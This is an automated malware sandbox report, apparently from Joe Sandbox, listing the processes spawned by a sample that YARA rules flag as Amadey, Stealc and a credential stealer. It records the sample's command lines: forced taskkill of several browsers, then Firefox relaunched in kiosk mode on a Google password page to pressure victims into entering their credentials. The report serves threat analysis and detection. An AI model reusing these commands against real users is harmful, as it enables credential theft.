2024-10-31 23:39:48 UTC	214	IN	Data Raw: 64 30 0d 0a 59 4c 36 7a 2b 7a 4c 69 70 4c 37 69 69 52 74 4f 66 66 69 71 78 5a 70 30 77 63 6c 53 38 6e 54 44 79 51 79 35 2f 38 49 34 6b 54 38 37 78 5a 47 4f 45 4e 69 47 31 70 62 39 61 33 51 68 31 2f 62 71 71 30 7a 30 35 32 44 44 51 65 33 34 50 59 72 52 38 77 37 4e 45 41 2f 59 31 61 63 64 68 73 48 59 7a 4f 78 6a 4b 31 2f 55 69 4b 50 75 56 76 76 35 66 74 41 52 34 66 4d 38 78 4e 4f 35 47 75 51 64 57 70 7a 62 6a 30 61 53 6e 75 4c 4e 31 54 52 2f 52 63 32 45 39 36 74 42 37 2f 68 6a 77 56 72 79 2f 31 43 57 6b 71 74 57 39 47 4e 50 7a 4e 4b 56 56 6f 33 4a 6b 49 66 78 66 6d 78 52 32 73 79 78 75 45 37 78 35 58 43 58 56 76 6e 35 63 65 51 3d 0d 0a Data Ascii: d0YL6z+zLipL7iiRtOffiqxZp0wclS8nTDyQy5/8I4kT87xZGOENiG1pb9a3Qh1/bqq0z052DDQe34PYrR8w7NEA/Y1acdhsHYzOxjK1/UiKPuVvv5ftAR4fM8xNO5GuQdWpzbj0aSnuLN1TR/Rc2E96tB7/hjwVry/1CWkqtW9GNPzNKVVo3JkIfxfmxR2syxuE7x5XCXVvn5ceQ=
2024-10-31 23:39:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:37:59
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x510000
File size:	2'955'264 bytes
MD5 hash:	04E39D3BF9BD2B3CDF9809124FC8E25C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2209806548.0000000000A76000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:38:20
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe"
Imagebase:	0x590000
File size:	2'750'464 bytes
MD5 hash:	ACFD594BD16156E07DD4171BB881F5A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:38:23
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe"
Imagebase:	0x520000
File size:	1'968'128 bytes
MD5 hash:	90B5CA2B241FF38DBFC264A0488E212F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2372324110.0000000005200000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2461719717.0000000000521000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:38:33
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xc70000
File size:	1'968'128 bytes
MD5 hash:	90B5CA2B241FF38DBFC264A0488E212F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2475357445.0000000005490000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:38:48
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe"
Imagebase:	0xfd0000
File size:	2'955'264 bytes
MD5 hash:	04E39D3BF9BD2B3CDF9809124FC8E25C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:38:57
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe"
Imagebase:	0xaa0000
File size:	2'123'776 bytes
MD5 hash:	43DEAE52C429449144C488C4EA074C14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2721535335.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2766160676.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:39:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xc70000
File size:	1'968'128 bytes
MD5 hash:	90B5CA2B241FF38DBFC264A0488E212F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2743978595.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2785010613.0000000000C71000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:39:03
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe"
Imagebase:	0xfd0000
File size:	2'955'264 bytes
MD5 hash:	04E39D3BF9BD2B3CDF9809124FC8E25C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2836024588.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2871436723.0000000001A58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2798194667.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2895609812.0000000001A6C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2839354396.0000000001A59000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2895550351.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2797107426.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2822426933.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2797251445.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2797026872.0000000001A58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	19:39:05
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe"
Imagebase:	0x4d0000
File size:	919'552 bytes
MD5 hash:	CD6AD64420E0649DD184452AC6482A48
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:39:05
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:39:05
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:39:08
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:39:09
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:39:09
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	19:39:09
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	19:39:10
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {423ea620-fe66-413c-8935-40f62b63c251} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e3236e310 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:39:11
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe"
Imagebase:	0xaa0000
File size:	2'123'776 bytes
MD5 hash:	43DEAE52C429449144C488C4EA074C14
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2961232929.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2862123172.0000000005220000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2967959553.000000000150B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:39:11
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe"
Imagebase:	0x630000
File size:	2'750'464 bytes
MD5 hash:	ACFD594BD16156E07DD4171BB881F5A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:39:13
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003039001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003039001\num.exe"
Imagebase:	0x2a0000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2875184699.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2875355609.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000000.2854773209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000000.2855075944.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:39:15
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe"
Imagebase:	0x4d0000
File size:	1'968'128 bytes
MD5 hash:	90B5CA2B241FF38DBFC264A0488E212F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2947624968.00000000004D1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2905323869.0000000005060000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:39:18
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4284 -prefMapHandle 4008 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4f1378f9-151b-4458-be92-e8615185ef25} 5916 "\\.\pipe\gecko-crash-server-pipe.5916" 25e448f6d10 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:39:19
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe"
Imagebase:	0x4d0000
File size:	919'552 bytes
MD5 hash:	CD6AD64420E0649DD184452AC6482A48
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000022.00000003.2989652207.000000000114F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:39:20
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:39:20
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:39:22
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:39:22
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:39:22
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	19:39:23
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	19:39:23
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	19:39:23
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	19:39:23
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x3b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	19:39:23
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	19:39:23
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	19:39:23
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	19:39:26
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2164 -prefMapHandle 2148 -prefsLen 25250 -prefMapSize 239580 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d656b9f2-c939-41fa-9650-c12bc10d3aaf} 6612 "\\.\pipe\gecko-crash-server-pipe.6612" 20f2056dd10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	19:39:28
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003039001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003039001\num.exe"
Imagebase:	0x2a0000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
